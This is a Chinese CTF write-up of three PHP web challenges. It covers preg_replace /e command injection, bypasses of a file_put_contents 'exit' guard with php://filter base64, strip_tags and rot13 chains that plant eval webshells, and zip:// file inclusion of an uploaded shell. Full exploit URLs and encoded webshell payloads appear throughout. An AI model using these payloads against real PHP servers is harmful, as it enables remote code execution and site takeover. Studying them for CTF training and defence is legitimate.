week 7 for cnas writeup
01 50
题目链接
http://47.100.121.220:28001/01.php
解答
preg_replace()
preg_replace() 函数用于正则表达式的搜索和替换。
语法:
1 | mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] ) |
参数说明:
参数 | 说明 |
---|---|
pattern | 正则表达式 |
replacement | 替换的内容 |
subject | 需要匹配替换的对象 |
limit | 可选,指定替换的个数,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换 |
特别说明
当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。
由以上知识点可以得到本题的payload
1 | http://47.100.121.220:28001/01.php?a=/c/e&b=system('cat flag.php')&3=c |
exit 150
题目链接
解答
1 | <?php |
题目给出了源码,我们可以看出这里是利用file_put_contents()函数来写shell,但是写入的shell里开头会加上
1 | <?php exit;?>; |
导致shell中写入的内容无法被解析,这里我们就需要想办法绕过这段代码
之前看过P神的一篇文章有讲过这个“死亡exit”的问题
具体可以参考P神博客
博客里介绍了三种方法绕过
第一种使用php://filter/write=convert.base64-decode
正如P神博客说的
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
1 | http://47.100.121.220:28002/02.php?file=php://filter/write=convert.base64-decode/resource=z.php&c=aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+ |
我本地环境可以写Shell,连接菜刀可以。但是题目环境不行。
我们可以尝试写system函数读取flag,查看源码
1 | http://47.100.121.220:28002/02.php?file=php://filter/write=convert.base64-decode/resource=z.php&c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
第二种使用php://filter/write=string.strip_tags|convert.base64-decode/resource
php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。
1 | http://47.100.121.220:28002/02.php?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=z.php&c=PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOz8+ |
这个payload跟php版本有关的,我本地5.4的可以。题目环境不行。
第三种使用php://filter/write=string.rot13/resource
利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了
1 | http://47.100.121.220:28002/02.php?file=php://filter/write=string.rot13/resource=a.php&c=<?cuc @riny($_CBFG['n']);?> |
菜刀链接,如果不连接不上可以用system函数。
easy_gallery 250
题目链接
解答
这个题目是jarvisoj平台的一个原题的改编,链接如下:
但是基本的利用点是相同的,那就是
1 | index.php?page= |
这个地方存在一个文件包含的漏洞,这个地方可以利用到
具体可以看到我上传完后取下来的代码
1 | <?php |
这个地方加上了一个.php是一个利用点。
根据原题的解题思路上传.jpg,然后利用这个文件包含点,%00截断是不行的
1 | index.php?page=图片ID.jpg%00 |
在甜哥提醒下还是利用到了PHP伪协议,突然发现PHP伪协议在CTF题目利用到的很多
这里利用到zip://这个协议,具体可以参考我的博客
这里我们可以结合zip://和文件包含来解析我们的shell
具体,我们想写一个shell.php,zip打包,把扩展名改为.jpg上传
在文件包含利用点用以下payload
1 | http://47.100.121.220:28003/index.php?page=zip://uploads/图片ID.jpg#shell |
根据zip协议的知识和view的代码,shell后加上.php后缀。这样就可以被解析了。
我们就可以用菜刀连接到shell.php得到flag。